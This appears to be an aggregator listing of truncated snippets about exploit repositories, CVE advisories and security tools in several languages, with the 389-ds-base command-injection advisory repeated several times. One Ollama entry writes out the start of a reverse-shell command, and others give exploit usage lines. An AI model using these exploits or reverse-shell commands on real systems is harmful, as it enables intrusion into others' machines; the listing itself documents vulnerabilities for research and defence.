MacDirtyCowDemo

Get root on macOS 13.0.1 with CVE-2022-46689 macOS equivalent of the Dirty Cow bug, using the testcase extracted from Apple's XNU source. https://worthdoingbadly.com/macdirtycow/ Usage On a macOS 13.0.1 / 12.6.1 or below machine, run: root@kitploit: clang -o switcharoo vmunalignedcopyswitchrace.c...

Python-exploit-CVE-2020-25213

Descripción El plugin File Manager wp-file-manager anterior a la versión 6.9 para WordPress permite a atacantes remotos cargar y ejecutar código PHP arbitrario porque renombra un archivo de conector elFinder de ejemplo inseguro para que tenga la extensión .php. Esto, por ejemplo, permite a los...

CVE-2017-1000475

CVE-2017-1000475: Freesshd Unquoted Service Path Prove of concept Windows 10 with freeSSHd 1.3.1, installed by default and with the option running as a system service. Command to check Unquoted Service Path. The service is unquoted by default. The process is running as SYSTEM by default. Create a...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 y CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Debe ejecutarse en Linux, el entorno necesita tener gcc. Instale golang y ejecute el siguiente comando para obtener una shell reversa: root@kitploit: go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...

EUVD-2026-72458

A flaw was found in 389-ds-base. The Cockpit 389 Console's LDAP editor constructs an ldapsearch command by embedding an LDAP entry's distinguished name DN into a shell command string without proper escaping. An LDAP user with delegated privileges to create or rename directory entries could craft ...

CVE-2026-19843 389-ds-base: 389-ds-base: command injection via unescaped ldap dn in cockpit 389 console ldap editor

A flaw was found in 389-ds-base. The Cockpit 389 Console's LDAP editor constructs an ldapsearch command by embedding an LDAP entry's distinguished name DN into a shell command string without proper escaping. An LDAP user with delegated privileges to create or rename directory entries could craft ...

CVE-2026-19843 389-ds-base: 389-ds-base: command injection via unescaped ldap dn in cockpit 389 console ldap editor

A flaw was found in 389-ds-base. The Cockpit 389 Console's LDAP editor constructs an ldapsearch command by embedding an LDAP entry's distinguished name DN into a shell command string without proper escaping. An LDAP user with delegated privileges to create or rename directory entries could craft ...

CVE-2026-19843

A flaw was found in 389-ds-base. The Cockpit 389 Console's LDAP editor constructs an ldapsearch command by embedding an LDAP entry's distinguished name DN into a shell command string without proper escaping. An LDAP user with delegated privileges to create or rename directory entries could craft ...

CVE-2026-19843

CVE-2026-19843 is a command injection flaw in 389-ds-base . The Cockpit 389 Console LDAP editor embeds an LDAP distinguished name (DN) into a shell command without proper escaping. An LDAP user with delegated privileges can craft a malicious DN with shell metacharacters; when a Cockpit administra...

CVE-2026-19843

A flaw was found in 389-ds-base. The Cockpit 389 Console's LDAP editor constructs an ldapsearch command by embedding an LDAP entry's distinguished name DN into a shell command string without proper escaping. An LDAP user with delegated privileges to create or rename directory entries could craft ...

CGA-3X9Q-J7PH-QV8G

Bulletin has no description...

CGA-745M-JMF8-RWM4

Bulletin has no description...

Exploit-For-CVE-2022-36067

Exploit-For-CVE-2022-36067 This repo contains payload for the CVE-2022-36067 How to exploit? Paste the payload given in payload.js along with the command you want to run. Test on local machine. To test on local machine, git clone the repo, install the dependecies and run app.js using node. If the...

cve-2022-42475

Vulnerabilidad de desbordamiento de búfer en SSL-VPN de FortiOS cve-2022-42475 https://nvd.nist.gov/vuln/detail/CVE-2022-42475 Código POC para explotar el desbordamiento de montón Heap overflow en el demonio SSLVPN de Fortinet Notas Este es un POC rápido y sucio que probablemente no funcione en...

CVE-2023-4911-PoC

GNU C Library's Dynamic Loader Vulnerability CVE-2023-4911 Overview The GNU C Library glibc serves as the C library in the GNU system and is integral to Linux-based systems. At its core, glibc defines essential functionalities for programs, including system calls and common functions like open,...

byob

Questions? Check out the docs or join our Discord support server Disclaimer : This project should be used for authorized testing or educational purposes only. BYOB is an open-source post-exploitation framework for students, researchers and developers. It includes features such as: Command & contr...

oauth2-proxy

OAuth2 Proxy 是一款灵活的开源工具，既可以作为独立的反向代理使用，也可以作为中间件组件集成到现有的反向代理或负载均衡器设置中。它提供了一种简单且安全的方式，通过 OAuth2 / OIDC 身份验证来保护您的 Web 应用程序。作为反向代理，它拦截对您应用程序的请求，并将用户重定向到 OAuth2 提供商进行身份验证。作为中间件，它可以无缝集成到您现有的基础设施中，为多个应用程序处理身份验证。 OAuth2 Proxy 支持大量 OAuth2 以及 OIDC 提供商。既可以通过通用 OIDC 客户端，也可以通过针对 Google、Microsoft Entra...

gpasskey

======== gpasskey .. image:: https://gitlab.com/renich/gpasskey/-/raw/master/assets/banner.svg :width: 100% :align: center :alt: gpasskey banner | .. image:: https://gitlab.com/renich/gpasskey/badges/master/pipeline.svg :target: https://gitlab.com/renich/gpasskey/-/commits/master :alt: pipeline...

Next.js-Exploit-Tool

Next.js-Exploit-Tool Herramienta integral de explotación con interfaz gráfica para Next.js. Introducción Una herramienta independiente de evaluación de seguridad para CVE-2025-55182 , desarrollada en Go, que ofrece una interfaz gráfica GUI para realizar rápidamente detección y verificación de...

CVE-2019-5475-EXP

CVE-2019-5475-EXP CVE-2019-5475-EXP 【Nexus Repository Manager 2.x Remote Command Execution Vulnerability】 Vulnerability Name: Nexus Repository Manager 2.x Remote Command Execution Vulnerability Vulnerability Description: Nexus Repository Manager 2.X has a remote command execution vulnerability. B...